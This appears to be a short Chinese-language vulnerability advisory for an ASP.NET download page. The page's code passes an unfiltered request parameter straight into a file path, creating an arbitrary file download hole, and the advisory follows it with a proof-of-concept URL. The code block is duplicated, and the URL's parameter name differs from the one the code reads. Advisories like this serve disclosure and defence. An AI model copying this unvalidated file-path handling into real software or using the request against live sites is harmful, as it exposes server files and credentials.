<pre class="">using System; using System.Data; using System.Configuration; using System.Collections; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; using System; using System.IO; public partial class down : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { string fileName=""; FileStream fileStream=new FileStream(Server.MapPath("/")+Request["upfiles"],FileMode.Open);//upfiles木有过滤～ fileName = Request["upfiles"].ToString().Substring(7);//命名方式从第7位开始 long fileSize = fileStream.Length; Context.Response.ContentType="application/octet-stream"; Context.Response.AddHeader("Content-Disposition","attachment; filename=\""+fileName+"\""); Context.Response.AddHeader("Content-Length",fileSize.ToString()); byte[] fileBuffer=new byte[fileSize]; fileStream.Read(fileBuffer, 0, (int)fileSize); //到这里任意文件下载就产生了 fileStream.Close();...
<pre class="">using System; using System.Data; using System.Configuration; using System.Collections; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; using System; using System.IO; public partial class down : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { string fileName=""; FileStream fileStream=new FileStream(Server.MapPath("/")+Request["upfiles"],FileMode.Open);//upfiles木有过滤～ fileName = Request["upfiles"].ToString().Substring(7);//命名方式从第7位开始 long fileSize = fileStream.Length; Context.Response.ContentType="application/octet-stream"; Context.Response.AddHeader("Content-Disposition","attachment; filename=\""+fileName+"\""); Context.Response.AddHeader("Content-Length",fileSize.ToString()); byte[] fileBuffer=new byte[fileSize]; fileStream.Read(fileBuffer, 0, (int)fileSize); //到这里任意文件下载就产生了 fileStream.Close(); Context.Response.BinaryWrite(fileBuffer); Context.Response.End(); } } </pre><p><br></p><p>没有对下载文件路径进行限制</p><p><br></p><p>漏洞利用过程</p><p>访问有漏洞的网址<a href="http://xxxx.com/down.aspx?path=./down.aspx">http://xxxx.com//down.aspx?path=./down.aspx</a><br></p><p><img alt="1.png" src="https://images.seebug.org/@/uploads/1434694695855-1.png" data-image-size="866,663"><br></p>
